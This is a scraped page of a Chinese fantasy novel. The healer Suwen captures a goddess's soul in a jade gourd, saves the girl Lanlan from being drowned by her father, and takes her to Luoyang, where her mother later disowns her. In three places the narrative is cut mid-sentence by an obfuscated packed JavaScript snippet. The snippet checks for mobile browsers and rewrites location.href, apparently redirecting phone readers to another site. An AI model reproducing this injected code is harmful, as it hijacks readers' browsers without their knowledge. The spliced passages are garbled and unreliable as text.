“真是可惜。” 妤再失笑:“非名篇佳作,有什么可惜?历史长河之中,芸芸众生个人注定留不下什么痕迹,其实留下也没什么意义,重要的是当下。” 素问未置可否,指腹摩挲着玉葫芦。 妤再见状,笑问:“素问是来带我走?” “嗯,委屈上……”素问忽然一顿,惊讶地看着妤再,缓缓道,“关于上神的魂魄,小仙先前已经得了一片,只是那一片太小,没有留下神识,今日才得与上神相谈,所以……敢问上神,为何认得我?” 妤再道:“在神界时,我曾见过你,只是你不记得了。” 素问忙问:“在哪里见过我?” “天君洞府,至于是五方天君中的哪一位,关乎命数,我就不多说了。” 素问立刻道:“是五炁天君么?” 妤再闭目,化作一道白光,落入了玉葫芦中。 “五炁天君,北方黑帝,战神……叶光纪。”素问喃喃说罢,看向落日的方向。 须臾,幻境崩塌,素问被一股轻柔的力量推离山壁,一只暗淡无光的银盏浮在素问面前,她一伸手,银盏便落在了手心,仿佛用尽了力气,变成了一个泛黑的旧物。 “我用不着了,送给你。”玉葫芦里传来一缕神识。 素问将玉葫芦举到眼前,葫芦本来泛着晶莹的绿光,随着妤再话音落下而缓缓熄灭,明显是不会再回应了,素问只得将玉葫芦和银盏都收到了须弥戒里。 回到洞口时,一看外间天色,已经快到破晓时分,素问便加快了速度,摘了果子后立刻下山,到山脚时,果然见明月奴不曾挪动,就在原地盘腿而坐,正托着腮看着天边云霞。素问甫一落地,明月奴立刻转过身,见到素问,他连忙起身迎来,问道:“怎么样?” “很顺利。”素问走近,发现明月奴头发湿漉漉的,有些惊讶:“入秋了么?” “是啊,白日感觉不到,还有些热,一到晚上就出差别了。”明月奴说着,甩了甩头,发梢立刻干了,他问道,“还有其他事么?” “没有了,回城。” 明月奴便俯身候着,等素问一跳上来,他立刻出发,不想没跑一会儿,素问忽然拍了拍他的肩,道:“我要去另一个方向!” “哪里?”明月奴一边说,一边放缓脚步。 “去阿昭所在的村子。” 明月奴脚步停下,不解:“为何?” “我想去看看朝馨的孩子。” 明月奴其实还是觉得有些奇怪,但是没有继续问,踏步飞驰而去,很快便来到了那处棚户区。素问跳下去,一路往田埂行去,沿途经过的棚户里,人们都在沉睡,只在遥远路边的营地尚有灯火,是值夜的医者在忙碌熬药。 李重美信守承诺,确实在用心救灾,甚至还留了侍卫保护医者。 素问收回目光,上了田埂,出了棚户区后,兰兰家的草屋便出现在视野中。素问正要向明月奴说自己与兰兰的交往,忽然从另一个方向传来一阵奇怪的声音,很是微弱,棚户里熟睡的人自然不可能听到,但素问和明月奴齐齐将目光投过去。 “好像是一条快要干涸的小河……”素问说着,忽然感觉兰兰的护身符有变化,而来源就在前方,她的心立刻吊了起来,连忙往河边跑去。 明月奴知晓素问的意思,更快一步赶到,只见一个男子正在将一个孩子的头摁在水里,他果断挥袖,一把将男子掀飞,同时腾空翻转,轻易地夺过孩子,回到了岸边。 素问此时恰巧赶到,她立刻将孩子平放在河堤上,一只手用衣袖为孩子清理面上污泥,另一只手飞速掠过几处穴位,孩子总算是缓过一口气,咳了出来。素问心下稍安,抬眼看向孩子的脸,果不其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227209|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,正是兰兰。 在水里扑腾而起的男子见对方有两个人,手忙脚乱地往对面岸上爬去,但是不等他爬起,忽然有一股无形的力量狠狠压下,让他整个人陷在淤泥之中,只留下口鼻以上在外,尚留得一命,但也被吓得肝胆俱裂。 兰兰迷茫地睁着眼睛,似乎是被吓傻了,在素问的轻声询问下,她才缓缓回神,先是怔怔看着素问,然后将目光投向河里。 素问担心她害怕,伸手想去遮挡兰兰的眼睛,不想刚抬起手,兰兰开口了: “爹爹?” 素问惊住,与明月奴对视一眼,两人俱是一脸难以置信。 河中男子动弹不得,在明月奴的法术下被迫抬起脸,让面容完全展露出来。素问看了男子一眼,又看向兰兰,柔声问:“你认得他?” “是爹爹啊……”兰兰说罢,终于想起方才的经历,“哇”地一声大哭起来。 远处营地的侍卫听到动静,分出一队人,举着火把往这边赶来。明月奴向他们瞥去,问道:“阿姐,我们要走么?” 素问柳眉倒竖,满脸怒容,咬牙道:“谋害亲女性命,我们处置不了,但这世间总还有王法!” 明月奴也很是生气,抱臂站在一边,等着侍卫过来。 素问垂头,确认兰兰身体咱无大碍,不想她哭伤了自己,更不愿让她回忆方才的事,便用手拂上昏穴,让兰兰睡了过去。 侍卫很快靠近,素问将兰兰揽进怀里,抬头看向他们。侍卫自然认得素问,队长上前问道:“叶医师不是回城了么?怎么在这里?发生什么事了?” 明月奴道:“有个丧心病狂的畜生要将无辜孩子淹死。” 队长看向兰兰,又将目光投向河里的男子。 男子喊道:“那是我女儿,她落水了,我救……唔!” 队长看男子忽然将头埋进水里,不明缘由,便冲身后招了招手,道:“将他拉上来。” 明月奴看向素问,素问摇了摇头,明月奴便撤去法力,两个侍卫下去,将人拖了上来。 男子腿软发抖,看素问和明月奴的眼神如见鬼魅,他颤着唇,想要说话,队长却直接道:“封上他的嘴,带去县衙,按谋杀处置!” 侍卫立刻领命,不顾男子的挣扎,强行将人带走了。 等余下的侍卫都散了,队长才回过身,蹲下去看兰兰,确认她没事后,叹道:“没想到一个父亲能心狠到这个地步。” 素问抱着兰兰起身,惊讶道:“原来你知道他们的关系。” “这些时日一直在这里转,怎么会没见过?但是不好明说,让他开口道明了关系,定罪可就不容易了。”队长说罢,又问,“叶医师想如何安排这孩子?” “最好能有好人家领养,不行的话,我自己带在身边也可以。” 队长笑道:“叶医师还未成婚,身边带个孩子不方便,刚好,我们家有个与她年纪相仿的妞妞,叶医师若是放心,便让我带回去,如何?” 素问自然不放心,便道:“我先带她回洛阳,等人醒了问问她自己的想法,如果有需要,我再来麻烦你。” “这样就更稳妥了。”队长退后一步,道,“夜深了,叶医师若无歇脚处,先去药炉那边,等天一亮,我再安排车马载你们回城。” “多谢。”明月奴冲队长抱了抱拳,然后伸手要来抱兰兰。 素问摇了摇头,抱紧兰兰,跟着队长踏上田埂。 明月奴跟在最后,一行人很快到了营地,素问将兰兰安放在毯子上,明月奴在一旁用术法悄悄烘干兰兰的湿衣。 兰兰似乎意识到危机已经过去,片刻之后,紧握的拳头一松,掉出一个物件来。 明月奴拿起,奇道:“这是阿姐做的护身符?” 素问点头:“可是没有用,我想过也许兰兰有一天会有病难治,却没有想到会有人对她下杀手,若不是今日一时兴起来看她,等到护身符起作用再赶来,恐怕已经来不及了。” 明月奴劝道:“幸好阿姐有先见之明,及时预料到了。” “我没有预料到,我只是在下山时,忽然想到了阿昭……”素问垂头,紧紧握住兰兰的小手。 29. 西园恶草(九) 次日清晨,素问带着兰兰回惠训坊,一路上,兰兰数次在睡梦中惊醒,睁眼看见素问才安下心,复又沉沉睡去。回到医庐时,兰兰睡得正香,素问将她抱下马车也没将人吵醒,素问便将她安置在窗边榻上,不想兰兰似乎又没有睡熟,刚躺下便牢牢抓住了素问的衣袖,本要离去的素问只得坐在了榻边。 爰爰好奇地在旁边张望,小声问:“阿姐,这个也是小妖么?怎么看不出妖身呀?” 素问道:“她是兰兰,朝馨的女儿。” 爰爰问:“就是衙内吃了闭门羹的那家么?那朝馨呢?” 素问看向兰兰,一时也不知该如何回答,不禁陷入沉默——朝馨回了娘家,他们本该可以轻易找到的,但是明月奴昨夜试了追踪留香,却一无所获。 明月奴确信自己的香气不会被轻易抹除,勿论对方只是一个凡人,那么只会有两个可能,一是附近有法力胜过明月奴的大妖,且它特地为朝馨而施法,但这种可能太小了。 那么就是第二种可能:朝馨死了,死得尸骨无存。 爰爰吐了吐舌头,不再追问,她在旁边陪了片刻,忽然想到了什么,又悄悄退了出去。 日头渐渐高悬,素问用扇子挡在兰兰眼上,兰兰双眼动了动,终于缓缓睁了开来。脑子在经过一瞬间的空白之后,昨夜的事重新冲了回来,从晚饭后偷听到祖母与父亲的对话,到父亲来哄她出门,最后……兰兰猛地一闭眼,打了个寒噤,转而立刻睁开,看向素问,低声道:“仙女姐姐,我死了么?” 明月奴坐在窗外,正在对这一个木头雕刻,闻言耳朵微微一动,难得的,他没有开口反驳。 素问柔声道:“这是洛阳城,你没有死。” 兰兰撑着身体坐起,垂着头看着窗户眼漏进来的日光,用手摸了摸,感觉到了暖意,不禁笑起来。 爰爰匆匆跑进屋,带来一阵香气,兰兰立刻抬头,渴望地看着爰爰手中的纸包。爰爰也不吊着她,直接将案几搬上榻,将纸包拆开,挨个介绍:“糖饺、甜咸饼,还有我最爱的蛋黄酥!都给你吃!” 兰兰馋得口水直流,听到最后一句,惊诧地抬头看爰爰:“都、都给我?” “吃不完么?”爰爰探头看了看,觉得不多,但又觉得兰兰确实小,食量小也正常,便笑道,“可以包起来,回头想吃的时候再拿出来——以后我带你去集市,遇见你喜欢的再买也行,阿姐会给我们钱!” 素问笑了笑,点头道:“慢点吃,先填饱肚子,余下爱吃什么,告诉爰爰就行了。” 兰兰笑逐颜开,挨个吃了一遍,然后停了下来,小声问:“我可以将吃不完的带给阿娘么?” 爰爰道:“可以啊,你阿娘在哪?” 兰兰脸上没了笑,委屈地扁了扁嘴,强忍着泪,道:“我也不知道……” “你父亲总归知道。”爰爰理所当然道。 素问见爰爰和兰兰有说有笑,本要起身离开,听见这句话,又停了下来,她默默看着兰兰,见她瞪大了眼睛,犹豫一瞬,还是问:“他为何要害你?” “阿耶要给兰兰找新娘亲,但兰兰……是拖累……”兰兰说着,蓦然大哭。 爰爰被惊住,手足无措地安慰了半晌,才让兰兰冷静了下来。 素问方才问时,便打定主意要叫兰兰与那人割席,因此直说道:“我会帮你找你母亲,但是找到之前,你暂时不能回家去了,可以么?” 兰兰红着眼点头,哽咽道:“我要、阿娘,要阿娘……” “我们会尽力去找,但是也不排除有找不到的可能,若果真如此……”说到这里,素问不禁深吸一口气,道,“你愿意跟着我么?或是寻新的父母,能吃饱穿暖,还有年岁相仿的姐妹一道玩耍。” 兰兰惊恐地瞪大了眼睛。 “不必着急回答,你知道会有这个可能就行了,其余的可以慢慢想。”素问说罢,示意爰爰照顾她,起身去了门口,好让自己透透气。 “你呀,真是个棒槌,那么小的孩子,何必说这么透彻?” 素问一惊,回头看去,发现元度卿靠在自家门边,也不知他为何耳力那么好,竟然听到素问在屋里的话。不过大棒槌本人似乎不适合说别人,要不是先前的相处让素问对元度卿另眼相看,她这会儿可能就要直接呛回去了——自然,不呛不代表不反驳,素问道:“人们常说,希望越大,失望越大,我早早说开,她不抱希望,说不定到时候会有惊喜。” 元度卿笑呵呵地问:“你自己也是这样么?” 明月奴翻了个白眼,将刻刀丢到窗台上,冷冷道:“阿姐别理他,疯疯癫癫!” “啧!”元度卿抖着扇子指他俩,点评,“两个小棒槌。” 素问没工夫与元度卿拌嘴,因为不远处,图南正在往这边行来。 说起来,自从图南第一回带来疫病的消息,素问与他就再也没见过,好在爰爰时常驻守医庐,两人之间几番书信留言还算是顺畅地传达了彼此的去向和用意。 图南看见素问在等,立刻加快了速度,随着距离的缩短,他终于注意书斋前站着的元度卿。先前图南也来了几次,虽然与素问错过了,但他是知道医庐旁开了书斋的,也不知是不是巧合,图南前几次来,都没见过书斋主人,今日倒是第一次打照面,目光中难免带了几分探究之意,不过图南毕竟在朝多年,面上并不大显露出来,只匆匆瞥了一眼,便疾步来到素问面前。 图南打量素问的功夫,素问也在看他,两人确认彼此无碍后,图南道:“雍王不负众望。” 素问笑道:“现在你可放宽心了。” 图南挠了挠额角,有些尴尬:“本来就是操心过头,师妹别取笑我。” 素问歪头看他,觉得图南真是有趣,如今危机暂时过去,他又变成了惯见的婆婆妈妈,谁能想象出他前些时日会是那般忧国忧民? 图南被看得奇怪,问:“怎么?哪里不对?” “没有不对,就是看图师兄心情好,想请你喝一杯,怎么样?” 图南摆手:“我们学医之人可不能醉。” 元度卿插嘴:“小酌怡情,我有上好的葡萄美酒,不如拎了来,大家一起喝一杯!” 明月奴忍不住道:“我就纳闷了,怎么什么事都有你?能不能别自荐那破酒了?” 元度卿嬉笑道:“我偏要,非得让你们都喝上,尤其是小奴儿,叫你们欲罢不能,哈哈哈哈!”笑声未落,元度卿忽然看见爰爰牵着兰兰站在门边,立刻收声,缓了语气,问,“俩小囡,吃葡萄么?” 兰兰问:“什么是葡萄?” 爰爰解释:“酸酸甜甜的果子,元大叔院子里种了一大片,这几日刚好熟透了,想不想吃?” 兰兰咽了咽口水,看向素问。 素问笑道:“元先生愿意的话,你们俩就去罢。” 爰爰也不与元度卿客气,听素问不反对,立刻拉着兰兰进了书斋。 素问看向图南,问:“那师兄?” “改日罢,明天还要上值,不好饮酒。”说罢,图南看向毫无眼力见的元度卿,只得道,“我们进去说。” 素问了然,将人引至后院。 图南停在院中,扫了一眼院内布置,道:“一直没问你,在这里住得怎么样?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232089|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很清静,很好。” 图南无奈地看着素问:“我都听明月奴说了,你想给平民看病,在这里住其实并不方便。” “这段时间忙不过来,城里也有其他好医师,人们想来这里看病便来,不想来,也有别人可以为他们医治,等有朝一日当真有需求,我可以去北岸再租一间。” “但还是要住在这里?” 素问点头。 图南笑起来,道:“你喜欢就好了。” 素问“嗯”了一声,想了想,还是解释道:“明月奴有些排外,他的话有时候不必放在心上,相熟之后,自然就好了。” “放心,倒不至于与一个孩子计较。”图南说着,从袖中取出一个纸条递给素问,在她打开扫完之后,立刻要了回来,卷一卷,塞进嘴里吞了下去。 素问本因纸条中的内容惊讶,看到图南的举动,不由瞪大眼睛:“图师兄你……” 图南摆了摆手,示意隔墙有耳。 素问一时哭笑不得,只能道:“多谢师兄提醒,我知道了,会注意的。” 图南放下心来,问道:“爰爰牵着的孩子是怎么回事?” 素问便将兰兰的身世简单说了一遍。 图南听得眉头直皱,自是谴责那老禽兽一番,最后又道:“兰兰母亲的下落,我也会帮忙找的,不过你也别太指望,她已经回了娘家,若不改嫁,她娘家兄弟不见得愿意要兰兰,若是改嫁,带着孩子也不方便,所以兰兰母亲八成是不会要这个孩子了,即便要,这孩子往后也不大可能会过上好日子。” 素问心中还有另一个猜想,因此对图南的推测并不意外,坦然道:“她若是愿意,已经有好去处,如果不愿意,我自己带着也行。” 图南立刻否决:“一个爰爰还不够?你要收留多少孩子?往后若是回师门,这些孩子怎么办?” 素问不会再回药圣谷,但图南所言不无道理,治好方灵枢……最迟等战神历劫结束,她就要离开了,届时失去了庇护,这些孩子该怎么办? 图南看素问皱眉,提议道:“不如送去城里的善堂,我去给你打听打听,找一家靠谱的,我们再捐些银钱。” 素问强调:“我还是要先找找她母亲。” “就照你说的做,在离开洛阳之前安排妥当便是。” 素问点头。 图南琢磨片刻,想不起还有什么要叮嘱的,便道:“我先走了,下午约了同僚谈事,你以后若是有事,直接去我家,我不在家的话,你就和门童说一声,等下值了,我来找你。” 素问再次点头。 图南转身往外,不知想到了什么,忽又停下脚步,道:“你那个邻居,我托人查过,身世没什么问题,在家乡的口碑也不错,只是行事稍稍有些出格,但无伤大雅,你若是有意,可以与他多来往。俗语说远亲不如近邻,不是没有道理,我平日要上值,不能时时过来,万一遇见了什么事,他年长一些,见识得多,说不定能帮忙化解困难。” 明月奴在窗外,不由抬头看向图南。 素问失笑,道:“师兄放宽心,快去罢,总之没什么人能奈何我们姊妹三人。” “也不可大意了。”图南说着,行到门口,向明月奴道,“照顾好素问和爰爰,还有那个兰兰。” “知道了。”明月奴回答完,顿了顿,又补了一句,“图师兄慢走。” 图南惊讶地挑起眉头。 明月奴道:“你还要啰嗦什么?” 图南一阵无言,“狗嘴吐不出象牙”这类话几乎到了嘴边,到底还是生咽了下去,最后冲素问挥了挥手,轻快地离开了医庐。 30. 西园恶草(十) 八月过后,天气回光返照似地热了三天,而后急转直下,一夜秋雨之后,素问在清晨出屋,发现院中那棵大叔的叶子黄了。 爰爰抖了抖耳朵,感慨道:“有点冷了。” 素问拿了扫帚准备扫院中落叶,闻言问:“要置寒衣么?” 爰爰连忙摇头:“我不用,我会长毛御寒,大雪天也不怕!” 这方屋檐之下,需要御寒的只有一人。 话说完,两人的目光不禁投向兰兰的房门。过去半个多月,素问出城两次,除了施药救人以外,也花了些功夫去打听朝馨的下落,无奈一无所获。图南上次离开时,承诺会帮忙找人,也没有消息。 爰爰走近素问,小声道:“阿姐,我看兰兰这些时日不大说起娘亲,说不定已经习惯了,毕竟和我们生活在一起更舒服嘛!” 确实如此,兰兰除了最初几天偶尔夜间惊哭,似乎已经慢慢融入了医庐的生活。 但素问还是想坚持坚持,为了朝馨,也为了兰兰将来成人时,回想起这段时光,不会后悔自己轻易抛下了母亲。 明月奴晨练回来,见素问拿着扫帚,一挥手,只见一阵风卷过,院中的落叶纷纷飞起,落在了树根下。明月奴在黄叶落定时,来到素问面前,问:“阿姐为何不用法术?” 素问笑道:“闲来无事,就当作是修行。” 明月奴沉默一瞬,道:“阿姐初来洛阳时,连分药都想施法,怎么如今连扫地这样的小事也要学凡人那样亲自动手?” 素问一怔,她方才拿起扫帚,不过是顺手之举,并没有想太多,如同当初拣药时所想一样,都是一时兴起而已。 爰爰也忍不住嘀咕:“你也太疑神疑鬼,扫地怎么了?你我不都在前门洒扫过么?” “那是做给别人看,自家院中能一样么?”明月奴不依不饶,“这样潜移默化的影响,连阿姐自己都感觉不到,不是更加危险么?” 素问张了张嘴,下意识想反驳,但话到嘴边,却发现竟然找不到理由来。正在这时,前屋传来敲门声,素问暗自松了口气,道:“回头再谈这个,我去看看谁来了。” 明月奴默默看着素问离开,爰爰在一边挠了挠头,正要溜走,忽听明月奴道:“你站住。” 爰爰缩着脖子回身,转而想到自己早有靠山,且这段时间相处下来,明月奴对自己这个“食物”并不感兴趣,便挺直了胸膛,问:“做什么?” “做什么?教你修行!”明月奴恶声说罢,见爰爰瞪大了眼睛,不悦道,“你这是何意?不是近日进展不顺么?” 爰爰奇道:“你看出来了?” 明月奴翻了个白眼,提着爰爰的后领进了屋。 那厢,素问来到门口,发现竟是图南来了,她正要将人请进屋,图南止住她,道:“别忙,跟我出城一趟。” “去哪里?” “兰兰的母亲。”图南说罢,见素问想开口,又道,“别带孩子,我们先去。” 素问看图南这个神情,便知不妙,叹道:“她的尸身……” “什么尸身?”图南疑惑。 素问瞪大眼睛,愣了好一会儿,才惊问:“还活着?!” 图南很是不解:“你以为她死了?可要是死了,我还来找你去做什么?” 素问抿住唇,更觉不妙,道声“稍等”后,疾步走向后院,不料一出门,便见门边站着的小小身影。 兰兰抬头,问:“阿姐,是阿娘么?” 素问被稚童无辜的眼睛盯着,谎话无论如何也说不出口了,只得道:“是你阿娘,但是这次不能带你去,我要先去看看。” “兰兰要见阿娘……”兰兰说着,“扑通”一声跪下,哽咽道,“求求阿姐,兰兰乖,阿姐给见阿娘……” 素问一窒,不由看向图南,后者轻叹一声,无奈地点了点头。 “好,我们现在去找她,你先别哭了,好不好?”素问道。 兰兰立刻点头,起身抱住素问的腿,生怕她丢下自己。 素问拍拍兰兰的头,探头去看屋中的明月奴和爰爰,见两人正在修炼,思及自己尚有法宝伴身,便留了个纸条,带兰兰出门。 元度卿不知从哪里冒出来,递出一个纸包,笑道:“小兰兰食早餐了么?胡饼要不要呀?” 兰兰揉了揉睡得蓬松凌乱的头发,不敢答话,看向素问。 素问接过纸包,沉声道:“多谢元先生。” 元度卿“啧”地一声,怨怪道:“小素问忒正经,那几个小娃娃每日在我家混吃混喝,也没见你对我殷勤些,这会儿一个胡饼又算得了什么?值得这么郑重?” 素问没有解释,只是笑着点了点头,便带着兰兰上了马车。 朝馨娘家住得很远,马车一直行了两个多时辰,他们才在一处村落界碑前停下。图南先下了马,用手遮在眉头看向远处,确认道:“韩庄,就是这里了。” 素问在路上已经给兰兰整理好了头发,此时只需给她戴好小幂篱,便能抱着下马车了。图南叮嘱车夫看好马和车,接过了兰兰,与素问一道往村里行去。 此处已经到了洛阳边界,再往东走便到了郑州,因离城太远,比起素问前些时日去过的村落,这里又破旧了一些,他们的衣着在洛阳城里已经是十分简朴了,对比此地村民的穿着还是胜出许多,因而一路吸引来了不少目光。 兰兰转着头,透过纱布看外面,只能在雾蒙蒙之中辨出人影,却认不出脸来,不禁小声问:“阿娘呢?” “到了。”图南在一处柴院外停下。 素问看了看里面的房屋,心道比起兰兰自家还是好些,而且看着也没什么异样,如果兰兰真的可以住到这里,不失为一个好去处。 图南见素问莫名松了口气,一副过来人的模样摇了摇头,指着素问躲去旁边人家的墙边,他自己上前叩响柴门,没过多久,便有一老妪来问:“官人要找谁?” 因兰兰姓姜,图南道:“敢问韩朝馨是否住在这里?” 老妪打量了图南两眼,缓缓道:“官人慢等。”话说完,人转身回了屋。 在此间隙,图南看向兰兰,道:“等会儿可不要说话哦,不然会有麻烦。” 素问不解:“什么麻烦?” 图南看黑洞洞的屋里有人影晃动,低声道:“回头与你解释。” 素问抱着兰兰,等了片刻,听到一个熟悉的声音响起:“官人是?” 兰兰眼睛一亮,立刻想要出去,素问连忙抱住她,摇了摇头。兰兰虽不明白,但想起图南方才的吩咐,还是勉力控制着自己不说话,但嘴角的笑藏也藏不住,素问为她所感染,也忍不住起了希冀之心——或许就是应了那个最不可能的可能,有大妖看不顺眼,将朝馨身上的狐香除去了也未可知。 那厢,图南简单介绍了自己的身份,朝馨在听到“药圣谷”三字时,神色微微一动,图南见状,继续道:“想必娘子见过我的师妹,安平医庐的叶医师。” “是,叶医师是个好人,只是如今离得远,无法再去道谢。” 图南道:“那在下就直说来意了,我师妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243288|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前些时日出城义诊,无意中救下一个差点被溺毙的孩子,小名兰兰,是你的孩子罢?” 兰兰扁起嘴,到了母亲附近,终于忍不住委屈起来,泪水直在眼眶里打转。 素问看不到朝馨的反应,但是忽然感觉到一股强烈的魔气,此时自然顾不得图南的嘱咐,起身往魔气来源寻去,不想那气息收放自如,在素问追起的一瞬间消失殆尽,只留下原地一个平凡妇人。素问毫不迟疑地飞出丝线缠住朝馨手腕,但人仙境界探查下,却一无所获。 朝馨吃惊地垂头看着手腕,顺着丝线看去,落在素问身边的兰兰身上。 “阿娘!”兰兰扑到柴门上,一边哭喊,一边等着娘亲来抱自己,没想到片刻过去,朝馨却停在原地,面无表情地看着她。兰兰怔住,打了个哭嗝,心里一慌,不知是不是因为自己不听话才会出现这样的结果,她连忙回到墙后,努力藏住自己,但还是忍不住探出小脑袋去看朝馨。 素问轻叹,收回丝线,道:“兰兰一直念着你,她的父亲企图淹死她,已经被衙门拘去,你若是愿意……” “不愿意,不方便。”朝馨斩钉截铁,“她不是我孩子,你们带走,卖了杀了都与我无关!” 老妪在门槛上坐着,眼睛被太阳晒得眯起,仿佛睡着了一样。 图南本来有所准备,但听到朝馨的话,还是被惊得无言以对,更何况是素问和兰兰。过了片刻,素问才谨慎地开口道:“你是……有所顾忌么?若是担心养育费用,我可以……” 朝馨言辞忽然变得十分激烈:“叶医师,敢问这个孩子姓什么?姓姜!我姓韩,我们俩有何关系?你再看她的脸,与我有半分相似么?我既回了娘家,就和姜家人再无瓜葛,她没被她爹淹死是好运,但要我接手照顾她?门儿都没有!” 图南不禁皱眉:“孩子还在这儿呢!” “叫她听见才好,趁早想明白,省得往后再来烦我!” 兰兰脸色苍白,愣了片刻,忽然哭喊着要往朝馨跟前去,素问连忙抓住她,不想平时乖巧听话的孩子在此刻变得难以制服,素问力气也不小了,还是被兰兰连蹬了几脚,差点叫人脱手而去,图南连忙来帮忙,两人费了片刻功夫,才按中睡穴,让兰兰昏迷了过去。 朝馨见素问手忙脚乱之中,忽然兰兰就软塌塌地倒了下去,惊呼:“你们做了什么?!” 老妪睁开眼,关切道:“怎么啦?小妞怎么啦?” 朝馨抬起的脚步立刻缩了回去,冷静道:“外面两个医者,死不了!” 素问抬头,与朝馨对视一眼,心中已经明白了七八分——诚如图南所料,不管出于什么原因,朝馨是不会要回兰兰了。素问想明白这一点,咬了咬牙,将兰兰抱起,转身离开。 图南“哎”了一声,顿了一顿,也不知该如何处理,只得抬步跟上,等到了马车边,才问道:“那我回去找找善堂罢?” 素问点头:“劳烦师兄先帮忙留意一二,回头我再问问兰兰自己的想法。” 图南本想说这么小的孩子能有什么想法,但是张了张嘴,又感觉当下不是说这些的时机,便“嗯”了一声,一边吩咐车夫返程,一边道:“方才不让你们出来,就是怕出现这种情况,唉……” 马车摇摇晃晃,行过大片荒野,素问看着外面,伴随着图南的絮絮叨叨,也不知是不是被日光刺激,眼睛一阵阵发酸,她深吸一口气,垂头看向兰兰,发觉了自己的无能为力。 这人世纷繁,虽有欣喜,但是更多的是酸苦,若已然超脱世外,又何必再沉沦其中呢? 31. 无折树檀(一) 马车赶回惠训坊时,已近日暮。一路上,素问探了几次脉,确保兰兰没事,便悄悄在辟谷丹上刮下一点碎屑,给兰兰喂了进去。等到家门前下车时,明月奴和爰爰一齐围了上来,看兰兰跟着回来了,两人对视一眼,难得有了默契,都选择不去打听素问是不是见到了朝馨。 但总有棒槌没眼力见,素问抱着兰兰刚进屋,元度卿便紧随而来,急切地问:“你们带孩子去哪里了?” “出去逛了逛。”素问道。 元度卿不依不饶,连连发问:“去哪里逛了?怎么一去就是一天?我看车轮上有枯草,你们是不是出城了?” 素问停步,回头问:“元先生想说什么?” 元度卿叉腰,质问道:“你说我要问什么?先前连早饭也能忘了给孩子吃,兰兰是不是饿到现在?” 图南倒吸一口冷气,惊道:“糟了!” “糟了?!”元度卿立刻拔高了声音,嚷道,“我就说!你们都还是孩子,怎么会养更小的娃娃?还愣着做什么?快叫醒兰兰!” 素问根本没有插嘴的机会,经元度卿这么一闹,兰兰定然被吵醒了,她睁着眼睛,茫然地看着上方。 “这就对了嘛!”元度卿立刻缓了语气,递来一只肉饼,柔声问,“小兰兰,晚餐想吃什么呀?驴肉饼要不要呀?” 兰兰看向元度卿,终于想起了一切,她嘴一扁,立刻大哭起来,顺道一巴掌打翻了饼。 明月奴扶额,一字一顿道:“我!就!知!道!” 元度卿有些尴尬,眼看着众人手忙脚乱地去哄兰兰,他连忙将肉饼从爰爰脚下救出,尔后在门边徘徊片刻,弱弱地问:“兰兰,还吃……” 兰兰回以惊天恸哭。 元度卿清了清嗓子,灰溜溜地躲回了书斋里。 这厢,素问花费了好大力气,才让兰兰稍稍平静下来,虽时时还要流泪,但总算不会哭得上气不接下气了。趁着爰爰抱着兰兰安慰的时候,素问抽身出来,发现图南坐在窗外凌霄花藤边,连忙过去道:“图师兄,真是对不住。” “说什么傻话?”图南摇头叹息,黯然道,“早知兰兰会这般,我就不与你说她母亲的下落了。” “是我坚持要去见朝馨。” 图南劝道:“也别怪自己,孺慕之情,理当如此。” 素问提醒道:“朝馨好好活着呢。” “差不多,反正她不会再出现在兰兰面前了。”图南说罢,又问,“你呢?有何打算?”素问正要回答,图南又道,“隔壁那位元先生所言不假,你们一群半大孩子,又怎么能照顾得了兰兰?” 素问无法解释辟谷一事,也知道他们的担忧不无道理,如今家中只有爰爰偶尔需进食,还是在元度卿那边讨来的,往后有个正经凡人在,家里不开伙是不成的,但是谁能做出凡人能吃的食物?何况若是遇见修炼的时候,或是众人有事外出,又有谁能看顾兰兰? 再者,将来自己离开了呢? “总之,我说过的话,你再好好想一想。”图南道。 素问点头:“师兄放心。” 送走图南后,素问又回到院中,正见爰爰蹑手蹑脚地从兰兰房中出来,素问打了个手势,爰爰立刻一跃,落在素问面前,小声道:“喝了点水,又睡了。” 素问轻叹一声,问:“你平日与兰兰相处时间长,可知道她喜欢些什么?” “什么都喜欢,一点都不挑食。” “但是当下她恐怕没有口腹之欲,能不能准备些其他物品送给她?”素问说着,自己也在思索,“磨喝乐?拨浪鼓?” 爰爰挠着下巴,迟疑道:“或许会喜欢罢……” “早上不是在说置寒衣的事么?”明月奴忽然插话。 两人回头,发现明月奴在前屋门边靠着,爰爰立刻道:“臭狐狸偷听我跟阿姐说话!” 